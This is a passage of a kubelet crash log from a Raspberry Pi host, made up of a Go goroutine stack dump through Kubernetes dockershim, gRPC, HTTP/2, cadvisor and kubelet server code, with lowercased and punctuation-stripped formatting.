dockerserver .start\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/dockershim/remote/docker_server.go:67 +0x210\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 183  select :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420c82a80, 0x45d964b800, 0x0, 0x453601, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420c82a80, 0x45d964b800, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet.  kubelet .startgarbagecollection\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1241 +0x174\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 161  io wait :\r jun 26 07:10:21 pi5 kubelet 716 : net.runtime_pollwait 0x7f949d1e80, 0x72, 0xd \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/netpoll.go:164 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .wait 0x4420c30fb8, 0x72, 0xffffffffffffffff, 0x4ff6000 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:75 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .waitread 0x4420c30fb8, 0x4420cb2000, 0x8000 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:80 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : net.  netfd .read 0x4420c30f50, 0x4420cb2000, 0x8000, 0x8000, 0x0, 0x4ff6000, 0x4fdecb8 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_unix.go:250 +0x148\r jun 26 07:10:21 pi5 kubelet 716 : net.  conn .read 0x4420ab05b8, 0x4420cb2000, 0x8000, 0x8000, 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/net.go:181 +0x50\r jun 26 07:10:21 pi5 kubelet 716 : bufio.  reader .read 0x4420c67680, 0x4420c90108, 0x9, 0x9, 0x0, 0x145de80, 0x4420ba6d78 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:213 +0x27c\r jun 26 07:10:21 pi5 kubelet 716 : io.readatleast 0x4fe08c0, 0x4420c67680, 0x4420c90108, 0x9, 0x9, 0x9, 0x4420ac8ab0, 0x0, 0x4420ac8ab0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/io/io.go:307 +0x8c\r jun 26 07:10:21 pi5 kubelet 716 : io.readfull 0x4fe08c0, 0x4420c67680, 0x4420c90108, 0x9, 0x9, 0x4420014080, 0xc6959e88310dd005, 0x1 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/io/io.go:325 +0x44\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/golang.org/x/net/http2.readframeheader 0x4420c90108, 0x9, 0x9, 0x4fe08c0, 0x4420c67680, 0x0, 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/frame.go:237 +0x54\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/golang.org/x/net/http2.  framer .readframe 0x4420c900d0, 0x0, 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/frame.go:469 +0x70\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.  framer .readframe 0x4420c88300, 0x4420ac8a50, 0x4420ac8a50, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http_util.go:508 +0x24\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.  http2client .reader 0x4420c017a0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_client.go:937 +0x74\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.newhttp2client\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_client.go:205 +0x664\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 157  select :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc.  addrconn .transportmonitor 0x4420b11b80 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:751 +0x4d4\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc.  clientconn .resetaddrconn.func1 0x4420b11b80 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:506 +0x1ac\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/google.golang.org/grpc.  clientconn .resetaddrconn\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:507 +0x300\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 159  select :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc.  addrconn .transportmonitor 0x4420b11e40 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:751 +0x4d4\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc.  clientconn .resetaddrconn.func1 0x4420b11e40 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:506 +0x1ac\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/google.golang.org/grpc.  clientconn .resetaddrconn\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:507 +0x300\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 163  select :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.  http2server .controller 0x442022ca20 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_server.go:674 +0x5ec\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.newhttp2server\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_server.go:139 +0x52c\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 178  select :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.  http2client .controller 0x4420c017a0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_client.go:1015 +0x51c\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.newhttp2client\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_client.go:235 +0x90c\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 179  io wait :\r jun 26 07:10:21 pi5 kubelet 716 : net.runtime_pollwait 0x7f949d1dc0, 0x72, 0xe \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/netpoll.go:164 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .wait 0x4420c31178, 0x72, 0xffffffffffffffff, 0x4ff6000 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:75 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .waitread 0x4420c31178, 0x4420cca000, 0x8000 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:80 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : net.  netfd .read 0x4420c31110, 0x4420cca000, 0x8000, 0x8000, 0x0, 0x4ff6000, 0x4fdecb8 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_unix.go:250 +0x148\r jun 26 07:10:21 pi5 kubelet 716 : net.  conn .read 0x4420ab05c0, 0x4420cca000, 0x8000, 0x8000, 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/net.go:181 +0x50\r jun 26 07:10:21 pi5 kubelet 716 : bufio.  reader .read 0x4420c677a0, 0x4420c901d8, 0x9, 0x9, 0x0, 0x14665e0, 0x34ee370 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:213 +0x27c\r jun 26 07:10:21 pi5 kubelet 716 : io.readatleast 0x4fe08c0, 0x4420c677a0, 0x4420c901d8, 0x9, 0x9, 0x9, 0x1, 0x410e84, 0x4420cc9ba0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/io/io.go:307 +0x8c\r jun 26 07:10:21 pi5 kubelet 716 : io.readfull 0x4fe08c0, 0x4420c677a0, 0x4420c901d8, 0x9, 0x9, 0x7c839c, 0x4420c901c8, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/io/io.go:325 +0x44\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/golang.org/x/net/http2.readframeheader 0x4420c901d8, 0x9, 0x9, 0x4fe08c0, 0x4420c677a0, 0x0, 0x0, 0x4420014080, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/frame.go:237 +0x54\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/golang.org/x/net/http2.  framer .readframe 0x4420c901a0, 0x5, 0x5, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/frame.go:469 +0x70\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.  framer .readframe 0x4420c88390, 0x4420d54810, 0x4420d54810, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http_util.go:508 +0x24\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.  http2server .handlestreams 0x4420c2eb40, 0x4420c88420 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_server.go:260 +0x24c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc.  server .servestreams 0x4420c3a300, 0x501acc0, 0x4420c2eb40 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/server.go:451 +0x144\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc.  server .servenewhttp2transport 0x4420c3a300, 0x501d360, 0x4420ab05c0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/server.go:438 +0x2f8\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc.  server .handlerawconn 0x4420c3a300, 0x501d360, 0x4420ab05c0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/server.go:415 +0x388\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/google.golang.org/grpc.  server .serve\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/server.go:384 +0x458\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 180  select :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.  http2server .controller 0x4420c2eb40 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_server.go:674 +0x5ec\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.newhttp2server\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_server.go:139 +0x52c\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 184  runnable :\r jun 26 07:10:21 pi5 kubelet 716 : syscall.syscall 0x3f, 0x18, 0x4420da1b00, 0x2e8, 0xe8, 0x4420da1b00, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/syscall/asm_linux_arm64.s:10 +0x8\r jun 26 07:10:21 pi5 kubelet 716 : syscall.read 0x18, 0x4420da1b00, 0x2e8, 0x2e8, 0x4420c8a9c0, 0x48c8f8, 0x44206ce910 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/syscall/zsyscall_linux_arm64.go:783 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : syscall.read 0x18, 0x4420da1b00, 0x2e8, 0x2e8, 0x0, 0x46d300, 0x44201fba00 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/syscall/syscall_unix.go:162 +0x38\r jun 26 07:10:21 pi5 kubelet 716 : os.  file .read 0x44200a0578, 0x4420da1b00, 0x2e8, 0x2e8, 0x2e8, 0x4420da1b00, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/os/file_unix.go:165 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : os.  file .read 0x44200a0578, 0x4420da1b00, 0x2e8, 0x2e8, 0x300, 0x58e66c, 0x4400000008 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/os/file.go:101 +0x58\r jun 26 07:10:21 pi5 kubelet 716 : bytes.  buffer .readfrom 0x44206ce9b8, 0x4ff15c0, 0x44200a0578, 0x4420da1b00, 0x0, 0x2e8 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/bytes/buffer.go:179 +0x12c\r jun 26 07:10:21 pi5 kubelet 716 : io/ioutil.readall 0x4ff15c0, 0x44200a0578, 0x2e8, 0x0, 0x0, 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/io/ioutil/ioutil.go:33 +0xc0\r jun 26 07:10:21 pi5 kubelet 716 : io/ioutil.readfile 0x33e8baa, 0xf, 0x0, 0x0, 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/io/ioutil/ioutil.go:70 +0xc0\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/machine.containerosversion 0x44201fba40, 0xf \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/machine/info.go:127 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.getversioninfo 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/manager.go:1271 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  manager .getversioninfo 0x442071e000, 0x0, 0x0, 0x2e46a60 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/manager.go:755 +0x18\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/cadvisor.  cadvisorclient .versioninfo 0x44201a9440, 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/cadvisor/cadvisor_linux.go:168 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .setnodestatusversioninfo 0x4420b92000, 0x4420683340 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:608 +0x34\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .setnodestatusinfo 0x4420b92000, 0x4420683340 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:670 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet . k8s.io/kubernetes/pkg/kubelet.setnodestatusinfo -fm 0x4420683340 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:973 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .defaultnodestatusfuncs.func1.1 0x4420683340, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:967 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .setnodestatus 0x4420b92000, 0x4420683340 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:955 +0x4c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .initialnode 0x4420b92000, 0x442038bb10, 0x3, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:332 +0x67c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .getnodeanyway 0x4420b92000, 0x33e102d, 0xc, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_getters.go:209 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet . k8s.io/kubernetes/pkg/kubelet.getnodeanyway -fm 0x17, 0x4420b72340, 0x40 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:808 +0x20\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/lifecycle.  predicateadmithandler .admit 0x4420c829c0, 0x442104f9a0, 0x0, 0x0, 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/lifecycle/predicate.go:53 +0x38\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .canadmitpod 0x4420b92000, 0x4420ab07c8, 0x1, 0x1, 0x4420bd8000, 0x1, 0x1, 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1766 +0xb0\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .handlepodadditions 0x4420b92000, 0x4420b95e40, 0x4, 0x4 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:2030 +0x260\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .syncloopiteration 0x4420b92000, 0x442040c1e0, 0x50183e0, 0x4420b92000, 0x44202a99e0, 0x44202a9a40, 0x442040ca80, 0x7f96a23e01 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1883 +0x314\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .syncloop 0x4420b92000, 0x442040c1e0, 0x50183e0, 0x4420b92000 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1826 +0x24c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .run 0x4420b92000, 0x442040c1e0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1352 +0x288\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/cmd/kubelet/app.startkubelet.func1  \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:950 +0x34\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0x4420c82aa0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x4c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420c82aa0, 0x0, 0x0, 0x180001, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0x7c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420c82aa0, 0x0, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/cmd/kubelet/app.startkubelet\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:950 +0xa8\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 185  io wait :\r jun 26 07:10:21 pi5 kubelet 716 : net.runtime_pollwait 0x7f949d1ac0, 0x72, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/netpoll.go:164 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .wait 0x4420275338, 0x72, 0x4fdecb8, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:75 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .waitread 0x4420275338, 0xffffffffffffffff, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:80 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : net.  netfd .accept 0x44202752d0, 0x0, 0x4ff16c0, 0x442050b640 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_unix.go:430 +0x16c\r jun 26 07:10:21 pi5 kubelet 716 : net.  tcplistener .accept 0x442000e250, 0x7f96a23000, 0x0, 0x42877c \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/tcpsock_posix.go:136 +0x24\r jun 26 07:10:21 pi5 kubelet 716 : net.  tcplistener .accepttcp 0x442000e250, 0x4420264ff0, 0x4400000000, 0x650780 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/tcpsock.go:215 +0x34\r jun 26 07:10:21 pi5 kubelet 716 : net/http.tcpkeepalivelistener.accept 0x442000e250, 0x6506bc, 0x4420264ff0, 0x2d0d320, 0x4fc9a20 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/server.go:3044 +0x20\r jun 26 07:10:21 pi5 kubelet 716 : crypto/tls.  listener .accept 0x442050b620, 0x4420264f30, 0x2d0d320, 0x4fc9a20, 0x3080aa0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/crypto/tls/tls.go:52 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : net/http.  server .serve 0x4420286420, 0x4ffcec0, 0x442050b620, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/server.go:2643 +0x1bc\r jun 26 07:10:21 pi5 kubelet 716 : net/http.  server .listenandservetls 0x4420286420, 0x44200e7180, 0x1f, 0x44200e71a0, 0x1f, 0xd, 0x1 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/server.go:2870 +0x24c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/server.listenandservekubeletserver 0x5024ea0, 0x4420b92000, 0x5004e80, 0x4420780d60, 0x4420d520e0, 0x10, 0x10, 0x280a, 0x44202650e0, 0x5004e40, ... \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/server.go:140 +0x298\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .listenandserve 0x4420b92000, 0x4420d520e0, 0x10, 0x10, 0x280a, 0x44202650e0, 0x5004e40, 0x4420ac9470, 0x1 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:2193 +0xa4\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/cmd/kubelet/app.startkubelet.func2  \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:955 +0xac\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0x4420c889f0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x4c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420c889f0, 0x0, 0x0, 0x1, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0x7c\r jun 26 07:10:21 pi5 